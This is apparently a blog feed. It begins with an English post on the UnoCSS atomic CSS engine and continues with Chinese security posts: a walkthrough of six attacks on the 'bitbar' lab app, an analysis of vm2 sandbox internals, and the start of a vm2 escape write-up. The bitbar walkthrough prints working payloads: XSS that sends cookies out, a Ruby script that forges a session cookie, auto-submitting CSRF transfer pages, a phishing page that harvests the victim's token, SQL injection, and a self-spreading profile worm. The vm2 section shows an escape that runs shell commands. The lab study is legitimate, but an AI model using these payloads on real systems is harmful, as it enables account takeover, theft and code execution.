        // PresetWindi,
        // PresetAntfu

        // pick one... or multiple!
      ]
    })
  ]
}

Let's take a look at how it made them possible:

Intuitive & Fully Customizable

The main goals of UnoCSS are intuitiveness and customization. It allows you to define your own utilities literally in seconds.

Here is a quick guide through:

Static Rules

Atomic CSS might come huge in terms of the amount. It's important to have the rules definition straightforward and easy to read. To create a custom rule for UnoCSS, you can write it as follows:

rules: [
  ['m-1', { margin: '0.25rem' }]
]

Whenever m-1 is detected in users' codebase, the following CSS will be generated:

{/* eslint-skip */}

.m-1 { margin: 0.25rem; }

Dynamic Rules

To make it dynamic, change the matcher to a RegExp and the body to a function:

rules: [
  [/^m-(\d+)$/, ([, d]) => ({ margin: `${d / 4}rem` })],
  [/^p-(\d+)$/, match => ({ padding: `${match[1] / 4}rem` })],
]

The first argument of the body function is the match result, so you can destructure it to get the RegExp matched groups.

For example, with the usage:

<div class="m-100">
  <button class="m-3">
    <icon class="p-5" />
    My Button
  </button>
</div>

the corresponding CSS will be generated:

{/* eslint-skip */}

.m-100 { margin: 25rem; }
.m-3 { margin: 0.75rem; }
.p-5 { padding: 1.25rem; }

That's it. You only need to add more utilities using the same pattern, and now you got your own atomic CSS running!

Variants

Variants in UnoCSS are also simple yet powerful. Here are a few examples:

variants: [
  // support `hover:` for all rules
  {
    match: s => s.startsWith('hover:') ? s.slice(6) : null,
    selector: s => `${s}:hover`,
  },
  // support `!` prefix to make the rule important
  {
    match: s => s.startsWith('!') ? s.slice(1) : null,
    rewrite: (entries) => {
      // append ` !important` to all css values
      entries.forEach(e => e[1] += ' !important')
      return entries
    },
  }
]

The configurations of variants could be a bit advanced. Due to the length of the post, I will skip the detailed explanation here, you can refer to the docs for more details.

Presets

Now you can pack your custom rules and variants into presets and share them with others - or create even your own atomic CSS framework on top of UnoCSS!

Meanwhile, we ship with a few presets for you to get your hands on quickly.

One thing worth mentioning is the default @unocss/preset-uno preset (still experimental) is a common superset of the popular utilities-first framework, including Tailwind CSS, Windi CSS, Bootstrap, Tachyons, etc.

For example, both ml-3 (Tailwind), ms-2 (Bootstrap), ma4 (Tachyons), mt-10px (Windi CSS) are valid.

{/* eslint-skip */}

.ma4 { margin: 1rem; }
.ml-3 { margin-left: 0.75rem; }
.ms-2 { margin-inline-start: 0.5rem; }
.mt-10px { margin-top: 10px; }

Learn more about the default preset.

Flexibility

Till now, we are all showcasing how you can use UnoCSS to mimic the behavior of Tailwind - while we made it really easy to mimic Tailwind by your own, that alone probably won't make much difference on the user side.

Let's unleash the true power of UnoCSS:

Attributify Mode

The Attributify Mode is one of the beloved features of Windi CSS. It helps you better organize and group your utilities by using attributes.

It turns your Tailwind code from this:

{/* eslint-skip */}

<button class="bg-blue-400 hover:bg-blue-500 text-sm text-white font-mono font-light py-2 px-4 rounded border-2 border-blue-200 dark:bg-blue-500 dark:hover:bg-blue-600">
  Button
</button>

to:

<button
  bg="blue-400 hover:blue-500 dark:blue-500 dark:hover:blue-600"
  text="sm white"
  font="mono light"
  p="y-2 x-4"
  border="2 rounded blue-200"
>
  Button
</button>

Not only this provide better organization by the categories, but also saves you the repetitive typing of the same prefixes.

In UnoCSS, we implemented the Attributify Mode by using only one variant and one extractor with less than 100 lines of code in total! More importantly, it directly works for any custom rules you have defined!

In addition Windi's Attributify Mode, we also support valueless attributes with a few lines of changes:

<div class="m-2 rounded text-teal-400" />

now can be

<div m-2 rounded text-teal-400 />

Attributify Mode is provided via preset @unocss/preset-attributify, refer to its docs for detailed usages.

Pure CSS Icons

If you've ever read my previous post Journey with Icons Continues you must know that I am very enthusiastic about icons and actively researching for icons solutions. This time with UnoCSS's flexibility, we could even have pure CSS icons! Yes, you read me, it's purely in CSS and zero JavaScript! Let's just see how it looks like:

{/* A basic anchor icon from Phosphor icons */}
<div class="i-ph-anchor-simple-thin" />
{/* An orange alarm from Material Design Icons */}
<div class="i-mdi-alarm text-orange-400 hover:text-teal-400" />
{/* A large Vue logo */}
<div class="i-logos-vue text-3xl" />
{/* Sun in light mode, Moon in dark mode, from Carbon */}
<button class="i-carbon-sun dark:i-carbon-moon" />
{/* Twemoji of laugh, turns to tear on hovering */}
<div class="i-twemoji-grinning-face-with-smiling-eyes hover:i-twemoji-face-with-tears-of-joy" />

Combining with variants, you can even switch icons based on hovering state or even color schema. Play with the demo above and see. Thanks to the awesome Iconify project, you have access to over 10,000 icons from over 100 popular icon sets on-demand.

Once again, this feature is written with less than 100 lines of code. Check out the preset's implementation @unocss/preset-icons to learn the magic!

Update: Read my new post Icons in Pure CSS to learn more about it!

I hope these presets can give you a general idea of how flexible UnoCSS is. Given it's still in a very early stage, there are many possibilities for us to explore.

Scoping

One other problem that I have faced when using Tailwind/Windi is the preflight. Preflight resets the native elements and provide some fallback for CSS variables, it's great when developing a new app that uses Tailwind/Windi solely, but when you want to have them work with other UI frameworks, or share some components using Tailwind utilities, the preflight often introduce many conflicts that break your existing UI.

So UnoCSS took another aggressive step by not supporting preflights. Instead, it left the control of CSS resetting fully to users (or frameworks on top of UnoCSS) to use the one that fits their needs (Normalize.css, Reset.css, or UI frameworks' resetting, etc.)

This also allows UnoCSS to have more possibilities on CSS Scoping. For example, we have an experimental scoped-vue mode on the Vite plugin to generate scoped styles for each component so you can safely ship them as a component library using atomic CSS without worry about conflicting with users' CSS. For example:

<template>
  <div class="m-2 rounded">
    <slot />
  </div>
</template>

{/* the following will be inject in the bundler */}
<style scoped>
.m-2 {
  margin: 0.5rem;
}
.rounded {
  border-radius: 0.25rem;
}
</style>

We are also experimenting with more possibilities like Web Components support, CSS code-splitting for MPA, module-level CSS scoping, etc.

Performance

Given all the flexibility and imagination UnoCSS brings, I would frankly think performance can be a less important thing to care about. Just out of curiosity, I wrote a simple benchmark to compare the performances. And surprisingly, here is the result:

10/21/2021, 2:17:45 PM
1656 utilities | x50 runs

none                            8.75 ms /    0.00 ms
unocss       v0.0.0            13.72 ms /    4.97 ms (x1.00)
windicss     v3.1.9           980.41 ms /  971.66 ms (x195.36)
tailwindcss  v3.0.0-alpha.1  1258.54 ms / 1249.79 ms (x251.28)

It turns out, UnoCSS could be 200x faster than Tailwind's JIT and Windi CSS. To be honest, with the on-demand approach, both Windi and Tailwind JIT are already super-fast, the performance gain in UnoCSS might not be very perceivable. However, the nearly zero overhead means you can integrate UnoCSS into your existing project to work with other frameworks as an incremental solution without worrying about the performance loss.

Deep down, UnoCSS did many performance optimizations. In case you wonder, here is a few of them to take away:

No Parsing, No AST

Internally, Tailwind relied on modifying PostCSS's AST, while Windi wrote a custom parser and AST. Given the fact that changes in utilities are not commonly expected during the development, UnoCSS generates the utilities by the very cheap string concatenation instead of introducing a whole parser and generating process. Meanwhile, UnoCSS aggressively caches to the class names with their generated CSS string, allowing it to bypass the entire matching and generating process when seeing the same utilities again.

Single Pass

As mentioned in the previous section, both Windi CSS and Tailwind JIT rely on the pre-scanning for the file system and use fs watcher for HMR. File IO inevitably introduces some overhead, while your build tools are actually needed to load them once again. So why don't we leverage the content that has already been read by the dev tools directly?

Other than the independent generator core, UnoCSS intentionally only provides Vite plugin which allows it to focus on the best possible integration with Vite.

Updates: Now it also provides a Webpack plugin and a CSS-in-JS runtime

In Vite, the transform hook will be iterated over with all the files with their content. So we can write a plugin to collect them like:


  plugins: [
    {
      name: 'unocss',
      transform(code, id) {
        // filter out the files you don't want to scan
        if (!filter(id))
          return

        // scan the code (also handles invalidate on dev)
        scan(code, id)

        // we just want the content, so we don't transform the code
        return null
      },
      resolveId(id) {
        return id === VIRTUAL_CSS_ID ? id : null
      },
      async load(id) {
        // generated css is provide as a virtual module
        if (id === VIRTUAL_CSS_ID)
          return { code: await generate() }
      }
    }
  ]
}

Given Vite also handles the HMR and will involve the transform hook again of upon file changes, this allows UnoCSS to finish everything in a single pass with no duplication of file IO and fs watcher. In addition to that, with this approach, the scanning relies on the module graph instead of file globing. Meaning that only the modules that been bundled into your app will affect the generated CSS instead of any files under your folders.

There are a few more tricks we have done to squeeze out even more performance. I might do another post about them later, but before that, you can read the code to figure out :)

Can I Use it Now?

For the short answer: Yes, but with cautions.

UnoCSS is still in experiments. But given its simplicity, the generation result is already quite reliable. One thing you need to care about is the APIs are not finalized yet. We will indeed follow semver on releasing, but please expect changes.

It's not designed to be a replacement of Windi CSS or Tailwind (consider waiting for Windi CSS v4). We don't recommend migrating existing projects to UnoCSS completely. You can try it on new projects or use it as a complement along with your existing CSS framework (for example, disable default preset and use the icon preset solely for pure CSS icons, or make your custom rules).

Oh btw, the site you are reading is now solely on UnoCSS, for you to reference :P.

Meanwhile, please feel free to share the presets you are making or help contribute to our default presets. We can't wait to see what you can come up with!

Thanks

Appreciate the early review and feedback provided by (A-Z):

Wrapping Up

Thanks a lot for reading through! If it ever got you interested, do remember to check out the repo unocss/unocss for more details and play with it on the Online Playground.

Please feel free to comment or retweet this tweet letting me know what you think! 🙌

bitbar渗透实验

Mon, 08 Jun 2020 00:00:00 GMT

bitbar渗透实验

本文首发于 https://sec-in.com/article/441

给的是一个比特币交易的网站，本地搭建环境之后开始按照文章中的要求来完成6次attack

网站源码和代码都放在这个仓库了 https://github.com/xinyongpeng/bitbar

Attack 1: Warm-up exercise: Cookie Theft

根据路由

  get 'profile' => 'userview_profile'

定位到函数

  def view_profile
    @username = params[:username]
    @user = User.find_by_username(@username)
    if not @user
      if @username and @username != ""
        @error = "User {@username} not found"
      elsif logged_in?
        @user = @logged_in_user
      end
    end
    
    render :profile
  end

可以看到，输入的 username 被直接给打印出来，那么自然就存在XSS漏洞了。

payload

<script type="text/javascript">(new Image()).src="http://localhost:3000/steal_cookie?cookie="+document.cookie</script>

或者使用 xmlhttprequest 发送

<script type="text/javascript">var x = new XMLHttpRequest();x.open("GET", "http://localhost:3000/steal_cookie?cookie="+(document.cookie));x.send()</script>

Attack 2: Session hijacking with Cookies

参考这篇文章

上图说明了原始的 Session 对象 Session Data 是如何最终生成 Cookie 的

原来的加密过程：

序列化
填充，aes-cbc加密，结果用base64编码
hmac-sha1签名
将加密的数据和签名通过 -- 连接

但是意外地发现，bitbar的cookie并没有aes加密，可以通过

base64解码
反序列化

得到原始信息，那么这么一来，就只需要绕过验签这一个障碍了

在 config/initializers/secret_token.rb 中

 Be sure to restart your server when you modify this file.

 Your secret key is used for verifying the integrity of signed cookies.
 If you change this key, all old signed cookies will become invalid!

 Make sure the secret is at least 30 characters and all random,
 no regular words or you'll be exposed to dictionary attacks.
 You can use `rake secret` to generate a secure secret key.

 Make sure your secret_key_base is kept private
 if you're sharing your code publicly.
Bitbar::Application.config.secret_token = '0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae3095f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08'

这就是hmac-sha1的加解密密钥

ok，到此为止我们就能伪造数据了

attacke用户登陆，获取到当前的cookie
修改cookie值

这里需要用到 mechanize 这个包，安装

gem install mechanize

模拟登陆实现

agent = Mechanize.new 实例化对象
url = "http://localhost:3000/login"

page = agent.get(url)  获得网页

form = page.forms.first  第一个表单
form['username'] = form['password'] = 'attacker'  填写表单，用户名和密码都是attacker
agent.submit form  提交表单

这就相当于登陆了，然后我们获得cookie信息

cookie = agent.cookie_jar.jar['localhost']['/'][SESSION].to_s.sub("{SESSION}=", '')
cookie_value, cookie_signature = cookie.split('--')
raw_session = Base64.decode64(cookie_value)
session = Marshal.load(raw_session)

session如下:

{"session_id"=>"66ef9a22ca26e27ea4d3018b12c07999", "token"=>"q2VXDRnMskkf-69Gu2PiTg", "logged_in_id"=>4}

很明显，我们只需要修改 logged_in_id 为1即可

session['logged_in_id'] = 1
cookie_value = Base64.encode64(Marshal.dump(session)).split.join  get rid of newlines
cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)
cookie_full = "{SESSION}={cookie_value}--{cookie_signature}"

puts "document.cookie='{cookie_full}';"

这时候得到的session

document.cookie='_bitbar_session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiJTY2ZWY5YTIyY2EyNmUyN2VhNGQzMDE4YjEyYzA3OTk5BjsAVEkiCnRva2VuBjsARkkiG3EyVlhEUm5Nc2trZi02OUd1MlBpVGcGOwBGSSIRbG9nZ2VkX2luX2lkBjsARmkG--935e2e8f9f3d190f2ffccdf9cafd9e4480319054';

然后再发送数据，比如访问 http://localhost:3000/profile

url = URI('http://localhost:3000/profile')

http = Net::HTTP.new(url.host, url.port)

header = {'Cookie':cookie_full}
response = http.get(url,header)
puts response.body

此时我们就能看到，

浏览器已经认为我们是 user1 了

完整代码

require 'mechanize'
require 'net/http'
SESSION = '_bitbar_session'
RAILS_SECRET = '0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae3095f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08'

agent = Mechanize.new
url = "http://localhost:3000/login"

page = agent.get(url)

form = page.forms.first
form['username'] = form['password'] = 'attacker'
agent.submit form

cookie = agent.cookie_jar.jar['localhost']['/'][SESSION].to_s.sub("{SESSION}=", '')
cookie_value, cookie_signature = cookie.split('--')
raw_session = Base64.decode64(cookie_value)
session = Marshal.load(raw_session)

puts session
session['logged_in_id'] = 1
cookie_value = Base64.encode64(Marshal.dump(session)).split.join  get rid of newlines
cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)
cookie_full = "{SESSION}={cookie_value}--{cookie_signature}"

url = URI('http://localhost:3000/profile')

http = Net::HTTP.new(url.host, url.port)

header = {'Cookie':cookie_full}
response = http.get(url,header)
puts response.body

Attack 3: Cross-site Request Forgery

分析，登陆 user1,向attacker转帐，抓到的数据包如下

可见，只需要构造一个表单自动提交即可

b.html 内容如下

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
    
    <form action="http://localhost:3000/post_transfer" method="post" enctype="application/x-www-form-urlencoded" id="pay">
        < input type="hidden" name="destination_username" value="attacker">
        < input type="hidden" name="quantity" value=10>
    </form>

    <script type="text/javascript">
        function validate(){
            document.getElementById("pay").submit();
        }
        window.load = validate();
        setTimeout(function(){window.location = "http://baidu.com";}, 0.1);
        </script>
</body>
</html>

表单的字段都是隐藏的，并且值都是给定的，之后通过

document.getElementById("pay").submit();

实现自动提交

最后

setTimeout(function(){window.location = "http://baidu.com";}, 0.1);

0.1s 后跳转到百度首页

也可以使用 xmlhttprequest ，一样的思路

<html>
  <body>
    <script>
      var request = new XMLHttpRequest();
      request.open("POST", "http://localhost:3000/post_transfer");
      request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
      request.withCredentials = true;
      try {
        request.send("quantity=10&destination_username=attacker");
      } catch (err) {
        //
      } finally {
        window.location = "http://baidu.com/";
      }
    </script>
  </body>
</html>

Attack 4: Cross-site request forgery with user assistance

由于 http://localhost:3000/super_secure_transfer 转账的时候，表单带上了一个随机token，所以没办法通过 CSRF 来转帐，只能通过钓鱼的办法，欺骗用户输入自己的 Super Secret Token,这样我们就能绕过服务器的校验了

bp2.html 可以使用上一个的代码

bp.html
<html>
  <head>
    <title>23333</title>
  </head>
  <body>
    <style type="text/css">
      iframe {
      width: 100%;
      height: 100%;
      border: none;
      }
    </style>
    <script></script>
    <iframe src="bp2.html" scrolling="no"></iframe>
  </body>
</html>
bp2.html
<p>请输入 super_secure_post_transfer 页面下的 Super Secret Token 来证明你不是机器人</p>

< input id="token" type="text" placeholder="Captcha">
<button onClick="gotEm()">Confirm</button>

<script>
function gotEm() {
  var token = document.getElementById("token").value;
  var request = new XMLHttpRequest();
  request.open("POST", "http://localhost:3000/super_secure_post_transfer", false);
  request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  request.withCredentials = true;
  try {
    request.send("quantity=10&destination_username=attacker&tokeninput=" + token);
  } catch (err) {
    // Do nothing on inevitable XSS error
  } finally {
    window.top.location = "http://baidu.com";
  }
}
</script>

Attack 5: Little Bobby Tables (aka SQL Injection)

删除用户的逻辑如下

  def post_delete_user
    if not logged_in?
      render "main/must_login"
      return
    end

    @username = @logged_in_user.username
    User.destroy_all("username = '{@username}'")

    reset_session
    @logged_in_user = nil
    render "user/delete_user_success"
  end

可以看到输入的用户名没有经过任何的过滤直接拼接到了SQL语句中，我们看到后台执行的SQL语句

如果我们的用户名中含有user3即可将user3删除

那么如果我们注册用户

user3' or username GLOB 'user3?*

拼接出来的SQL语句必然是

delete from users where username = user3 or username GLOB 'user3?*'

登陆

删除

此时可以看到后台执行的SQL语句

Attack 6: Profile Worm

问题出在渲染用户的profile上面

profile.html.erb 中，渲染用户的 profile 代码如下

    <% if @user.profile and @user.profile != "" %>
        <div id="profile"><%= sanitize_profile(@user.profile) %></div>
    <% end %>

调用了函数 sanitize_profile

  def sanitize_profile(profile)
    return sanitize(profile, tags: %w(a br b h1 h2 h3 h4 i img li ol p strong table tr td th u ul em span), attributes: %w(id class href colspan rowspan src align valign))
  end

其中 santitize 函数，通过 tags 和 attributes 可以指定允许的标签和属性白名单。

然而属性中出现了 href,这意味着我们可以使用JavaScript伪协议来XSS

参考： https://ruby-china.org/topics/28760

比如

<strong id="bitbar_count" class="javascript:alert(1)"></strong>

更新自己的 profile 时，查看自己的profile，即可弹窗

如果有用户浏览当前的profile，那么将会发生两个操作

转账操作
更新用户的profile

转账操作的代码如下

var request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/post_transfer");
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
try {
    request.send("quantity=1&destination_username=attacker");
} catch (err) {
//
} finally {
    //xxxx 带执行的操作
}

转帐完成之后，我们需要立即更新当前浏览用户的 profile

设置 profile 的数据包如下

只需要向路由 /set_profile 发送请求即可

request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/set_profile", true);
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
request.send("new_profile=".concat(escape(document.getElementById('hax-wrap').outerHTML)));

遇到的问题：

发送的数据含有html转移后的 & 符号。如图

这里我采用的是 String.fromCharCode() 来将其做一次转换

字符串拼接只能用 concat 而不能用 + ，因为 + 号在 html 中是空格的意思

最后的代码

<span id="wrap">
<span id="bitbar_count" class="eval(document['getElementById']('pxy')['innerHTML'])"></span>
<span id="pxy">
document.getElementById('pxy').style.display = "none";
setTimeout(function(){

    var request = new XMLHttpRequest();
    request.open("POST", "http://localhost:3000/post_transfer");
    request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    request.withCredentials = true;
    try {
        request.send("quantity=1".concat(String.fromCharCode(38)).concat("destination_username=attacker"));
    } catch (err) {
    //
    } finally {
        request = new XMLHttpRequest();
        request.open("POST", "http://localhost:3000/set_profile", true);
        request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        request.withCredentials = true;
        request.send("new_profile=".concat(escape(document.getElementById('wrap').outerHTML)));
    }

}, 0);
10;
</span>
<p>233333</p>
</span>

ps: 也可以用 js 动态创建 form表单的方式，但是这样页面是会跳转的，无法满足

在转账和profile的赋值过程中，浏览器的地址栏需要始终停留在http://localhost:3000/profile?username=x ，其中x是profile被浏览的用户名。

附上js动态创建form表单的代码

<span id="wrap">
<strong id="bitbar_count" class="eval((document['getElementById']('pxy').innerHTML))"></strong>
<span id="pxy">
document.getElementById('pxy').style.display = "none";
function makeForm(){
    var form = document.createElement("form");
    form.id = "pay";
    
    document.body.appendChild(form);
    var input = document.createElement("input");
    input.type = "text";

    input.name =  "destination_username";
    input.value = "attacker";
    input.type = 'hidden';

    form.appendChild(input);
    var input2 = document.createElement("input");
    input2.type = "hidden";
    input2.name = "quantity";
    input2.value = 10
    
    form.appendChild(input2);
    form.action = "http://localhost:3000/post_transfer";
    form.method = "POST";
    form.enctype = "application/x-www-form-urlencode";
    form.submit();
}
makeForm();
request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/set_profile", true);
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
request.send("new_profile=".concat(escape(document.getElementById('wrap').outerHTML)));
</span>
</span>

vm2实现原理分析

Sat, 06 Jun 2020 00:00:00 GMT

本文首发于安全客 https://www.anquanke.com/post/id/207283

vm2实现原理分析

前言：vm是nodejs实现的一个沙箱环境，但是官方文档并不推荐使用vm来运行不可信任的代码，vm2则是一个npm包，在vm的基础上，通过es6新增的代理机制，来拦截对外部属性的访问，那么这个沙箱是否安全呢？本文针对vm2的实现原理，从源码的层面进行分析，看vm2究竟做了些什么。

vm API

vm2是在vm的基础上实现的沙箱，所以内部调用的还是vm的API，在vm中运行一个沙箱环境：

![](vm2实现原理分析/Sun, 31 May 2020 092059-1591428069572.png)

相应的代码：

const vm = require('vm');

const context = {
  animal: 'cat',
  count: 2
};

const script = new vm.Script('count += 1; name = "kitty";'); //编译code

vm.createContext(context); // 创建一个上下文隔离对象
for (let i = 0; i < 10; ++i) {
  script.runInContext(context); // 在指定的下文里执行code并返回其结果
}

console.log(context);
// 打印: { animal: 'cat', count: 12, name: 'kitty' }

将代码编译为 script，然后创建一个上下文 vm.createContext(context) ，最后我们将编译好的脚本放在一个上下文中运行 script.runInContext

当然也可以不用那么麻烦，直接在沙箱中运行一段代码

const vm = require("vm");
console.log(vm.runInNewContext("let a = 2;a")); //2

如果不提供上下文变量，那么vm会自己创建一个隔离的上下文context。

显而易见，vm中最关键的就是上下文context ，vm能逃逸出来的原理也就是因为 context 并没有拦截针对外部的 constructor 和 __proto__等属性的访问

vm2 API

vm2的代码包中主要有四个文件 cli.js,contextify.js,main.js 和 sandbox.js

cli.js 实现vm2的命令行调用
contextify.js 封装了三个对象， Contextify 和 Decontextify ，并且针对 global 的Buffer类进行了代理
main.js vm2执行的入口，导出了 NodeVM, VM 这两个沙箱环境，还有一个 VMScript 实际上是封装了 vm.Script
sadbox.js针对 global 的一些函数和变量进行了hook，比如 setTimeout，setInterval 等

vm2相比vm做了很大的改进，其中之一就是利用了es6新增的 proxy 特性，从而拦截对诸如 constructor 和 __proto__ 这些属性的访问

在vm2 中运行一段代码，如下

const {VM, VMScript} = require("vm2");

const script = new VMScript("let a = 2;a");

console.log((new VM()).run(script));

其中 VM 是vm2在vm的基础上封装的一个虚拟机，我们只需要实例化之后调用 run 方法即可运行一段脚本。

vm2运行原理

vm2在运行代码的时候，会做如下事情，我们将上文的代码拆分开来。

const {VM, VMScript} = require("vm2");

const script = new VMScript("let a = 2;a");

let vm = new VM();

console.log(vm.run(script));

运行的代码和vm2对应的实现：

当我们创建一个VM的对象的时候，vm2内部引入了 contextify.js，并且针对上下文 context 进行了封装，最后调用 script.runInContext(context) ，可以看到，vm2最核心的操作就在于针对context的封装。

vm2 是如何封装上下文的

注：由于vm2出现过多次逃逸的问题，所以现有的代码进行了大量的修改，为了方便分析vm2的实现原理，需要clone源码并且回退到 7ecabb1 使用 git reset --hard 7ecabb1 即可回退

我们看到，vm2 引入了 contextify.js ，将 vm.createContext创建的上下文作为参数传入。

其中引入 contextify.js 的代码比较独特，是调用vm的API将 contextify.js 封装为一个匿名函数

Reflect.defineProperty(this, '_internal', {
	value: vm.runInContext(`(function(require, host) { ${cf} \n})`, this._context, {
		filename: `${__dirname}/contextify.js`,
		displayErrors: false
	}).call(this._context, require, host)
});

host 传入需要用的一些对象

const host={version:parseInt(process.versions.node.split('.')[0]),console,String,Number,Buffer,Boolean,Array,Date,Error,RangeError,ReferenceError,SyntaxError,TypeError,RegExp,Function,Object,VMError,Proxy,Reflect,Map,WeakMap,Set,WeakSet,Promise};

那么vm2中的 contextify.js 究竟做了什么呢？

最开始定义了一些常量，并且在global和this上添加了相应的属性

// eslint-disable-next-line no-invalid-this, no-shadow
const global = this;

// global is originally prototype of host.Object so it can be used to climb up from the sandbox.
Object.setPrototypeOf(global, Object.prototype);

Object.defineProperties(global, {
	global: {value: global},
	GLOBAL: {value: global},
	root: {value: global},
	isVM: {value: true}
});

由于是在函数体外部写了 return 语句，所以webstrom报错，但是实际上这段代码是会被封装到函数中的

function(host, require){...}

Contextify 和 Decontextify 都是两个 WeakMap

const Contextified = new host.WeakMap();
const Decontextified = new host.WeakMap();

WeakMap 是 es6 新增的语法，只接受对象作为键名，并且这些对象是不会被计入垃圾回收机制的，这是为了防止内存泄漏。稍后将会看到，这是用来存储已经被代理过的对象的。

我们看下第512行， Contextify.readonly 做了些什么

const LocalBuffer = global.Buffer = Contextify.readonly(host.Buffer, {
	allocUnsafe: function allocUnsafe(size) {
		return this.alloc(size);
	},
	allocUnsafeSlow: function allocUnsafeSlow(size) {
		return this.alloc(size);
	}
});

函数调用图如下：

![](vm2实现原理分析/vm2-Page-3 (1)-1591428083714.png)

你可能会很好奇，为什么需要调用这么多层方法，最后返回的又是一个什么呢？

我们先来看最后一个调用的方法 Contextify.object,从这里可以很清楚地看到，最后返回了一个代理对象，并且其中还做了一个 Object.assign 的操作

Object.assign 方法用于将所有可枚举属性的值从一个或多个源对象复制到目标对象。它将返回目标对象。

比如

const target = { a: 1, b: 2 };
const source = { b: 4, c: 5 };

const returnedTarget = Object.assign(target, source); // Object { a: 1, b: 4, c: 5 }

也就是说 source 的b 会覆盖掉 target的 b 了

那么在上图的操作中， deepTraps > traps > {get:..., set: ...} (大于符号代表会覆盖)

那么我们来看下此时的 deepTraps 是什么

你会发现， set, setPrototypeOf .. 这些方法的返回值都是 false，也就是说当你去调用 Buffer.a = 1 的时候(会被代理的set方法拦截)，是无法成功的

那么此时的 traps 呢

这些方法倒是并不会返回false，但是也会在合并的时候，覆盖掉前一个对象的 get和getPrototypeOf

那至于之前调用的那么多方法，只是为了区分这个对象是哪种类型的，从而给它加上不同的 deepTraps ，到最后一个 Contextify.object 方法调用的时候，将它们合并。

最终，我们得到了这样一个 Buffer 代理对象，

这个 Buffer 代理拦截了如下操作

实际上这个 Buffer 本身还是nodesj提供的，但是vm2加了一层代理，所以在vm2的沙箱中访问它的属性时就会被设定的方法拦截

除此之外，Contextify.object 内部还使用了 WeakMap 来存储已经代理过的对象和对象的代理。

所以在vm2的沙箱环境中，如果是内部的对象，由于vm的实现机制保证了内部定义的对象无法逃逸。如果是外部引入的对象，由于vm2提供的代理机制拦截了 constructor 等属性的访问，从而在很大程度上保证了这个沙箱是安全的。

代码举例

为了更深入的了解vm2，我们来调试一段代码

测试方法,在 main.js 中编写如下代码：

const {VM, VMScript} = require('vm2');
const fs = require('fs');
const file = `${__dirname}/sandbox.js`;

// By providing a file name as second argument you enable breakpoints
const script = new VMScript(fs.readFileSync(file), file);

console.log(new VM().run(script));

然后在 sandbox.js 中编写

let a = Buffer.from(""); //访问Buffer的from属性并调用
a.i = () => {}; //给对象添加属性
console.log(a.i); //访问对象的属性

这样可以在 sandbox.js 中下断点，方便调试运行在沙箱中的代码

前面已经提到 Buffer 是一个代理对象，访问其所有属性都会被拦截

其调用过程如下

我们看到，Buffer 代理对象访问其 from 属性，被代理的 get 方法拦截，经过层层的调用，最终返回一个函数代理对象

之后调用这个函数，就会被 apply 捕获到，拦截的方法如下：

apply: (target, context, args) => {
    try {
        context = Decontextify.value(context);

        // Set context of all arguments to host's context.
        return Contextify.value(fnc.apply(context, Decontextify.arguments(args)));
    } catch (e) {
        throw Contextify.value(e);
    }
}

调用过程如下：

按照proxy的规范，target就是未代理之前的函数，context是函数当前运行的上下文，这里是 Buffer 的代理，args是函数的参数，这里是 ""

这里调用了 Decontextify.value ，实际上 Decontextify 的实现和 Contextify 是对称的，只是略微有一点细节上的区别。Decontextify.value 首先会检查 Contextified 中是否有这个对象，如果有直接返回，否则也会针对其进行一层代理

从这个函数调用过程中我们看到，虽然vm2是针对很多对象都做了代理，但是当实际要发生一次函数调用的时候，必须要将代理的 “外壳” 给剥除掉，并且必须依靠nodejs提供的API来完成，而如果我们能够捕获到这个被剔除代理的对象，那么就能完成vm2的逃逸，这是vm2沙箱逃逸的核心原理

之后执行

a.i = () => {};

给a的属性i赋值，被代理的 set 方法拦截

这个时候的 value 是一个函数， Decontextify.value 针对其进行了封装，返回一个函数的代理，但是这个函数的代理中：

我们看到，如果我们访问这个函数代理对象的 constructor 属性，返回的是 host.Function !

那我们之后将其取出来是不是就能逃出沙箱了呢？

我们看最后一行代码

console.log(a.i); //访问对象的属性

此时a内部的i对象，实际上是一个函数的代理对象，当执行 a.i 时，会被代理对象a的 get 方法拦截

而不幸的是，vm2的作者显然考虑到了这一点，通过 Contextify.value ，取出被代理之前的对象，所以最终我们得到的还是原来的函数。

这样我们就无法获得那个被代理的函数对象了。但是这里终究是有隐患的，如果我们能够获得这个被代理的对象，那么就能借此逃溢出vm2沙箱。至于究竟如何做到，请看下文vm2沙箱逃逸分析

vm2沙箱逃逸分析

Sat, 06 Jun 2020 00:00:00 GMT

本文首发于安全客 https://www.anquanke.com/post/id/207291

vm2沙箱逃逸分析

前言：vm2中在版本的更迭中，存在多种逃逸方法，可以参考 https://github.com/patriksimek/vm2/issues?q=is%3Aissue+author%3AXmiliaH+is%3Aclosed 但是 issue中都没有给出具体的分析，本文通过几个典型的案例来分析这些代码是如何逃逸出vm2的

注：需要使用git进行回退 git reset --hard 7ecabb1

案例1

代码：

"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
Object.prototype.has=(t,k)=>{
	process = t.constructor("return process")();
}
"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()`
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

看这个案例前，首先需要补充一点es6 proxy的知识 https://es6.ruanyifeng.com/?search=weakmap&x=0&y=0#docs/proxy (大神可以略过)

先看一段代码：

var handler = {
    get () {
     console.log("get");
    }
  };

  var target = {};

  var proxy = new Proxy(target, handler);
  
  Object.prototype.has = function(){
